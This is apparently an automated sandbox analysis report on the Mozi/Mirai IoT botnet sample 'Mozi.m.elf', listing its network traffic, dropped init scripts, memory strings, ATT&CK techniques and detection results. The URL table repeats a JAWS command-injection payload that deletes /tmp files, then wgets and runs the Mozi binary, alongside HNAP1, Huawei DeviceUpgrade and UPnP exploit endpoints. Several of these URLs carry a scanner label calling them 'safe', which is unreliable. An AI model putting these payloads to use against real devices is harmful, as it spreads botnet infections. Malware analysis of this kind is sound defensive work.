Source: global traffic	TCP traffic: 76.227.143.215 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 50.91.199.9 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 59.92.247.206 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 125.133.16.27 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 209.95.98.5 ports 2,5,6,8,9,52869

Source: /tmp/Mozi.m.elf (PID: 6230)	Reads hosts file: /etc/hosts	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6272)	Reads hosts file: /etc/hosts	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6276)	Reads hosts file: /etc/hosts	Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 170.13.70.64
Source: unknown	TCP traffic detected without corresponding DNS query: 118.114.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 65.224.38.249
Source: unknown	TCP traffic detected without corresponding DNS query: 34.136.79.41
Source: unknown	TCP traffic detected without corresponding DNS query: 178.51.3.128
Source: unknown	TCP traffic detected without corresponding DNS query: 202.152.121.18
Source: unknown	TCP traffic detected without corresponding DNS query: 152.158.234.19
Source: unknown	TCP traffic detected without corresponding DNS query: 101.108.225.47
Source: unknown	TCP traffic detected without corresponding DNS query: 182.216.146.147
Source: unknown	TCP traffic detected without corresponding DNS query: 142.235.63.140
Source: unknown	TCP traffic detected without corresponding DNS query: 100.184.144.114
Source: unknown	TCP traffic detected without corresponding DNS query: 113.229.7.213
Source: unknown	TCP traffic detected without corresponding DNS query: 84.2.80.57
Source: unknown	TCP traffic detected without corresponding DNS query: 21.244.144.86
Source: unknown	TCP traffic detected without corresponding DNS query: 216.18.254.161
Source: unknown	TCP traffic detected without corresponding DNS query: 167.151.164.41
Source: unknown	TCP traffic detected without corresponding DNS query: 87.116.84.152
Source: unknown	TCP traffic detected without corresponding DNS query: 162.33.207.205
Source: unknown	TCP traffic detected without corresponding DNS query: 60.29.245.149
Source: unknown	TCP traffic detected without corresponding DNS query: 194.213.146.39
Source: unknown	TCP traffic detected without corresponding DNS query: 28.144.199.55
Source: unknown	TCP traffic detected without corresponding DNS query: 222.76.197.121
Source: unknown	TCP traffic detected without corresponding DNS query: 182.98.49.24
Source: unknown	TCP traffic detected without corresponding DNS query: 42.242.241.33
Source: unknown	TCP traffic detected without corresponding DNS query: 106.44.250.26
Source: unknown	TCP traffic detected without corresponding DNS query: 121.136.2.49
Source: unknown	TCP traffic detected without corresponding DNS query: 124.74.74.114
Source: unknown	TCP traffic detected without corresponding DNS query: 38.122.193.152
Source: unknown	TCP traffic detected without corresponding DNS query: 137.151.78.143
Source: unknown	TCP traffic detected without corresponding DNS query: 136.34.183.2
Source: unknown	TCP traffic detected without corresponding DNS query: 85.78.252.113
Source: unknown	TCP traffic detected without corresponding DNS query: 26.83.38.216
Source: unknown	TCP traffic detected without corresponding DNS query: 35.36.155.170
Source: unknown	TCP traffic detected without corresponding DNS query: 118.35.168.154
Source: unknown	TCP traffic detected without corresponding DNS query: 163.152.100.25
Source: unknown	TCP traffic detected without corresponding DNS query: 134.32.128.235
Source: unknown	TCP traffic detected without corresponding DNS query: 125.133.16.27
Source: unknown	TCP traffic detected without corresponding DNS query: 123.244.144.208
Source: unknown	TCP traffic detected without corresponding DNS query: 161.185.149.32
Source: unknown	TCP traffic detected without corresponding DNS query: 158.219.39.254
Source: unknown	TCP traffic detected without corresponding DNS query: 5.244.147.234
Source: unknown	TCP traffic detected without corresponding DNS query: 71.44.225.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.39.229.25
Source: unknown	TCP traffic detected without corresponding DNS query: 31.20.181.48
Source: unknown	TCP traffic detected without corresponding DNS query: 61.237.100.81
Source: unknown	TCP traffic detected without corresponding DNS query: 48.214.85.13
Source: unknown	TCP traffic detected without corresponding DNS query: 161.199.124.145
Source: unknown	TCP traffic detected without corresponding DNS query: 190.249.69.106

Source: global traffic	DNS traffic detected: DNS query: dht.transmissionbt.com
Source: global traffic	DNS traffic detected: DNS query: router.bittorrent.com
Source: global traffic	DNS traffic detected: DNS query: router.utorrent.com
Source: global traffic	DNS traffic detected: DNS query: bttracker.debian.org

Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/init.d/S95baby.sh	Jump to dropped file
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/init.d/keyboard-setup.sh	Jump to dropped file
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/init.d/console-setup.sh	Jump to dropped file
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/init.d/hwclock.sh	Jump to dropped file
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /usr/bin/gettext.sh	Jump to dropped file
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /usr/bin/rescan-scsi-bus.sh	Jump to dropped file

Source: /tmp/Mozi.m.elf (PID: 6226)	Queries kernel information via 'uname':	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	Queries kernel information via 'uname':	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6268)	Queries kernel information via 'uname':	Jump to behavior

Source: kvm-test-1-run.sh.14.dr	Binary or memory string: echo Monitoring qemu job at pid $qemu_pid
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: ( $QEMU $qemu_args -m $TORTURE_QEMU_MEM -kernel $KERNEL -append "$qemu_append $boot_args" > $resdir/qemu-output 2>&1 & echo $! > $resdir/qemu_pid; wait `cat $resdir/qemu_pid`; echo $? > $resdir/qemu-retval ) &
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-ppc64)
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: if kill -0 $qemu_pid > /dev/null 2>&1
Source: kvm.sh.14.dr	Binary or memory string: print "kvm-test-1-run.sh " CONFIGDIR cf[j], builddir, rd cfr[jn], dur " \"" TORTURE_QEMU_ARG "\" \"" TORTURE_BOOTARGS "\" > " rd cfr[jn] "/kvm-test-1-run.sh.out 2>&1 &"
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: qemu_args="`specify_qemu_cpus "$QEMU" "$qemu_args" "$cpu_count"`"
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: echo Monitoring qemu job at yet-as-unknown pid
Source: kvm.sh.14.dr	Binary or memory string: -v TORTURE_QEMU_ARG="$TORTURE_QEMU_ARG" \
Source: functions.sh2.14.dr	Binary or memory string: identify_qemu_append () {
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: QEMU="`identify_qemu vmlinux`"
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: qemu_args="$qemu_args `identify_qemu_args "$QEMU" "$resdir/console.log"`"
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_INTERACTIVE="$TORTURE_QEMU_INTERACTIVE"; export TORTURE_QEMU_INTERACTIVE
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: if test -z "$qemu_pid" -a -s "$resdir/qemu_pid"
Source: functions.sh2.14.dr	Binary or memory string: identify_qemu_args () {
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-x86_64\|qemu-system-i386)
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: # Generate -smp qemu argument.
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: echo "!!! PID $qemu_pid hung at $kruntime vs. $seconds seconds" >> $resdir/Warnings 2>&1
Source: functions.sh2.14.dr	Binary or memory string: # Output arguments for the qemu "-append" string based on CPU type
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: killpid="`sed -n "s/^(qemu) qemu: terminating on signal [0-9]* from pid \([0-9]\).$/\1/p" $resdir/Warnings`"
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: qemu_pid=`cat "$resdir/qemu_pid"`
Source: functions.sh2.14.dr	Binary or memory string: echo qemu-system-ppc64
Source: functions.sh2.14.dr	Binary or memory string: if test -n "$TORTURE_QEMU_INTERACTIVE" -a -n "$TORTURE_QEMU_MAC"
Source: functions.sh2.14.dr	Binary or memory string: echo qemu-system-aarch64
Source: kvm-recheck-rcu.sh.14.dr	Binary or memory string: dur=`sed -e 's/^.* rcutorture.shutdown_secs=//' -e 's/ .*$//' < $i/qemu-cmd 2> /dev/null`
Source: functions.sh2.14.dr	Binary or memory string: # identify_qemu_append qemu-cmd
Source: Mozi.m.elf, 6226.1.00007ffd3c67c000.00007ffd3c69d000.rw-.sdmp, Mozi.m.elf, 6228.1.00007ffd3c67c000.00007ffd3c69d000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/Mozi.m.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Mozi.m.elf
Source: kvm.sh.14.dr	Binary or memory string: print "needqemurun="
Source: functions.sh2.14.dr	Binary or memory string: identify_qemu_vcpus () {
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: if test $commandcompleted -eq 0 -a -n "$qemu_pid"
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: if test -z "$qemu_pid" \|\| kill -0 "$qemu_pid" > /dev/null 2>&1
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: echo "NOTE: $QEMU either did not run or was interactive" > $resdir/console.log
Source: kvm.sh.14.dr	Binary or memory string: print "\tneedqemurun=1"
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: qemu_args=$5
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: # Generate qemu -append arguments
Source: Mozi.m.elf, 6226.1.00007ffd3c67c000.00007ffd3c69d000.rw-.sdmp, Mozi.m.elf, 6228.1.00007ffd3c67c000.00007ffd3c69d000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: functions.sh2.14.dr	Binary or memory string: echo -device spapr-vlan,netdev=net0,mac=$TORTURE_QEMU_MAC
Source: kvm.sh.14.dr	Binary or memory string: checkarg --qemu-cmd "(qemu-system-...)" $# "$2" 'qemu-system-' '^--'
Source: functions.sh2.14.dr	Binary or memory string: echo qemu-system-i386
Source: functions.sh2.14.dr	Binary or memory string: # Output arguments for qemu arguments based on the TORTURE_QEMU_MAC
Source: kvm.sh.14.dr	Binary or memory string: print "if test -n \"$needqemurun\""
Source: functions.sh2.14.dr	Binary or memory string: echo qemu-system-x86_64
Source: functions.sh2.14.dr	Binary or memory string: identify_qemu () {
Source: parse-console.sh.14.dr	Binary or memory string: print_warning Console output contains nul bytes, old qemu still running?
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: sleep 10 # Give qemu's pid a chance to reach the file
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: kill -KILL $qemu_pid
Source: functions.sh2.14.dr	Binary or memory string: # Usually this will be one of /usr/bin/qemu-system-*
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-aarch64)
Source: kvm.sh.14.dr	Binary or memory string: checkarg --qemu-args "(qemu arguments)" $# "$2" '^-' '^error'
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: echo Unknown PID, cannot kill qemu command
Source: functions.sh2.14.dr	Binary or memory string: # and TORTURE_QEMU_INTERACTIVE environment variables.
Source: kvm-recheck-lock.sh.14.dr	Binary or memory string: dur=`sed -e 's/^.* locktorture.shutdown_secs=//' -e 's/ .*$//' < $i/qemu-cmd 2> /dev/null`
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: BOOT_IMAGE="`identify_boot_image $QEMU`"
Source: functions.sh2.14.dr	Binary or memory string: if test -n "$TORTURE_QEMU_INTERACTIVE"
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: echo $QEMU $qemu_args -m $TORTURE_QEMU_MEM -kernel $KERNEL -append \"$qemu_append $boot_args\" > $resdir/qemu-cmd
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-x86_64\|qemu-system-i386\|qemu-system-aarch64)
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: echo Grace period for qemu job at pid $qemu_pid
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-x86_64)
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-aarch64)
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-x86_64\|qemu-system-i386)
Source: functions.sh2.14.dr	Binary or memory string: # Returns our best guess as to which qemu command is appropriate for
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: grep "^(qemu) qemu:" $resdir/kvm-test-1-run.sh.out >> $resdir/Warnings 2>&1
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: qemu_pid=""
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: elif test -z "$qemu_pid"
Source: functions.sh2.14.dr	Binary or memory string: # Appends a string containing "-smp XXX" to qemu-args, unless the incoming
Source: Mozi.m.elf, 6226.1.0000557659616000.0000557659768000.rw-.sdmp, Mozi.m.elf, 6228.1.0000557659616000.0000557659768000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: qemu_append="`identify_qemu_append "$QEMU"`"
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: if test -z "$qemu_pid" -a -s "$resdir/qemu_pid"
Source: functions.sh2.14.dr	Binary or memory string: elif test -n "$TORTURE_QEMU_INTERACTIVE"
Source: kvm.sh.14.dr	Binary or memory string: --qemu-args\|--qemu-arg)
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_CMD="$TORTURE_QEMU_CMD"; export TORTURE_QEMU_CMD
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_MEM="$TORTURE_QEMU_MEM"; export TORTURE_QEMU_MEM
Source: functions.sh2.14.dr	Binary or memory string: echo $TORTURE_QEMU_CMD
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_MAC=$2
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_INTERACTIVE=1; export TORTURE_QEMU_INTERACTIVE
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_MEM=$2
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: vcpus=`identify_qemu_vcpus`
Source: functions.sh2.14.dr	Binary or memory string: specify_qemu_cpus () {
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-i386)
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-ppc64)
Source: functions.sh2.14.dr	Binary or memory string: # identify_boot_image qemu-cmd
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_ARG="$2"
Source: Mozi.m.elf, 6226.1.0000557659616000.0000557659768000.rw-.sdmp, Mozi.m.elf, 6228.1.0000557659616000.0000557659768000.rw-.sdmp	Binary or memory string: bYvU!/etc/qemu-binfmt/arm
Source: kvm.sh.14.dr	Binary or memory string: print "needqemurun="
Source: functions.sh2.14.dr	Binary or memory string: # qemu-args already contains "-smp".
Source: functions.sh2.14.dr	Binary or memory string: # Use TORTURE_QEMU_CMD environment variable or appropriate
Source: functions.sh2.14.dr	Binary or memory string: echo Cannot figure out what qemu command to use! 1>&2
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: QEMU="`identify_qemu $base_resdir/vmlinux`"
Source: functions.sh2.14.dr	Binary or memory string: # the kernel at hand. Override with the TORTURE_QEMU_CMD environment variable.
Source: functions.sh2.14.dr	Binary or memory string: # identify_qemu_vcpus
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_CMD="$2"
Source: functions.sh2.14.dr	Binary or memory string: # specify_qemu_cpus qemu-cmd qemu-args #cpus
Source: functions.sh2.14.dr	Binary or memory string: # identify_qemu_args qemu-cmd serial-file
Source: functions.sh2.14.dr	Binary or memory string: if test -n "$TORTURE_QEMU_CMD"
Source: kvm.sh.14.dr	Binary or memory string: --qemu-cmd)
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_MAC="$TORTURE_QEMU_MAC"; export TORTURE_QEMU_MAC
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: qemu_args="-enable-kvm -nographic $qemu_args"
Source: functions.sh2.14.dr	Binary or memory string: # identify_qemu builddir
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: # Generate architecture-specific and interaction-specific qemu arguments
Source: functions.sh2.14.dr	Binary or memory string: # and the TORTURE_QEMU_INTERACTIVE environment variable.
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: qemu_pid=`cat "$resdir/qemu_pid"`
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: if test -s "$resdir/qemu_pid"

Source: Yara match	File source: 6226.1.00007fd22c017000.00007fd22c058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6228.1.00007fd22c017000.00007fd22c058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Mozi.m.elf, type: SAMPLE
Source: Yara match	File source: /usr/networks, type: DROPPED
Source: Yara match	File source: 6226.1.00007fd22c060000.00007fd22c06a000.rw-.sdmp, type: MEMORY
Source: Yara match	File source: 6228.1.00007fd22c060000.00007fd22c06a000.rw-.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Mozi.m.elf PID: 6226, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Mozi.m.elf PID: 6228, type: MEMORYSTR

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	3 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Unix Shell Configuration Modification	1 Unix Shell Configuration Modification	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Data Manipulation
Credentials	Domains	Default Accounts	Scheduled Task/Job	3 Scripting	Boot or Logon Initialization Scripts	1 Hide Artifacts	1 Brute Force	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File and Directory Permissions Modification	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Hidden Files and Directories	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	5 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner	Label	Link
Mozi.m.elf	63%	ReversingLabs	Linux.Trojan.Mirai
Mozi.m.elf	100%	Avira	EXP/ELF.Mirai.O

Source	Detection	Scanner	Label
http://12.57.50.133:80/HNAP1/	0%	Avira URL Cloud	safe
http://212.59.33.56:80/HNAP1/	0%	Avira URL Cloud	safe
http://68.146.175.8:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://159.187.57.28:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://182.253.181.162:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://196.117.13.231:80/HNAP1/	0%	Avira URL Cloud	safe
http://81.15.115.147:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://204.118.69.75:80/HNAP1/	0%	Avira URL Cloud	safe
http://212.251.149.126:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://173.143.115.27:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://49.33.247.182:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://171.135.110.34:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://202.218.205.135:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://79.183.65.108:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://147.43.49.146:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://89.176.240.190:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://93.31.4.225:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://149.247.149.135:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://71.123.229.71:80/HNAP1/	0%	Avira URL Cloud	safe
http://95.251.127.79:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://141.97.115.0:80/HNAP1/	0%	Avira URL Cloud	safe
http://177.171.143.161:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://46.111.113.5:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://47.35.112.78:80/HNAP1/	0%	Avira URL Cloud	safe
http://132.222.51.120:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://117.127.243.172:80/HNAP1/	0%	Avira URL Cloud	safe
http://56.19.188.37:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://51.94.121.88:80/HNAP1/	0%	Avira URL Cloud	safe
http://150.55.156.79:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://29.139.34.171:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://76.227.143.215:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://90.117.21.100:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://140.219.139.217:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://175.33.232.251:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://171.205.214.110:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://12.160.75.231:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://9.80.6.139:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://172.27.14.53:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://5.198.114.62:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://174.134.196.29:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://98.47.138.236:80/HNAP1/	0%	Avira URL Cloud	safe
http://44.53.44.137:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://188.113.108.36:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://42.242.241.33:80/HNAP1/	0%	Avira URL Cloud	safe
http://37.215.196.232:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://26.69.186.179:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://183.20.224.51:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://193.90.130.102:80/HNAP1/	0%	Avira URL Cloud	safe
http://173.47.65.7:80/HNAP1/	0%	Avira URL Cloud	safe
http://161.116.19.154:80/HNAP1/	0%	Avira URL Cloud	safe
http://75.151.1.33:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://117.197.168.185:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://131.224.165.201:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://168.58.175.249:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://114.187.116.66:80/HNAP1/	0%	Avira URL Cloud	safe
http://38.49.191.153:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://134.209.26.23:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://144.168.195.104:80/HNAP1/	0%	Avira URL Cloud	safe
http://131.144.235.6:80/HNAP1/	0%	Avira URL Cloud	safe
http://99.46.47.140:80/HNAP1/	0%	Avira URL Cloud	safe
http://79.172.185.178:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://136.35.219.150:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://103.109.37.35:80/HNAP1/	0%	Avira URL Cloud	safe
http://168.214.188.227:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://www.alsa-project.org.	0%	Avira URL Cloud	safe
http://97.115.167.164:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://129.185.253.195:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://51.34.12.149:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://82.156.21.83:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://105.23.36.67:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://118.58.105.235:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://198.2.111.39:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://129.217.155.177:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://205.122.121.186:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://136.92.167.148:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://221.127.103.77:80/HNAP1/	0%	Avira URL Cloud	safe
http://93.90.43.10:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://137.11.27.138:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://179.248.194.46:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://89.34.227.143:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://99.120.59.132:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://193.246.129.53:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	0%	Avira URL Cloud	safe
http://110.11.168.169:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://206.16.193.183:80/HNAP1/	0%	Avira URL Cloud	safe
http://219.111.191.242:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://142.82.80.57:37215/ctrlt/DeviceUpgrade_1	0%	Avira URL Cloud	safe
http://73.34.189.202:80/HNAP1/	0%	Avira URL Cloud	safe
http://121.19.25.76:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://157.202.243.234:80/HNAP1/	0%	Avira URL Cloud	safe
http://178.71.74.177:80/HNAP1/	0%	Avira URL Cloud	safe
http://222.82.137.124:49152/soap.cgi?service=WANIPConn1	0%	Avira URL Cloud	safe
http://168.156.58.84:80/HNAP1/	0%	Avira URL Cloud	safe
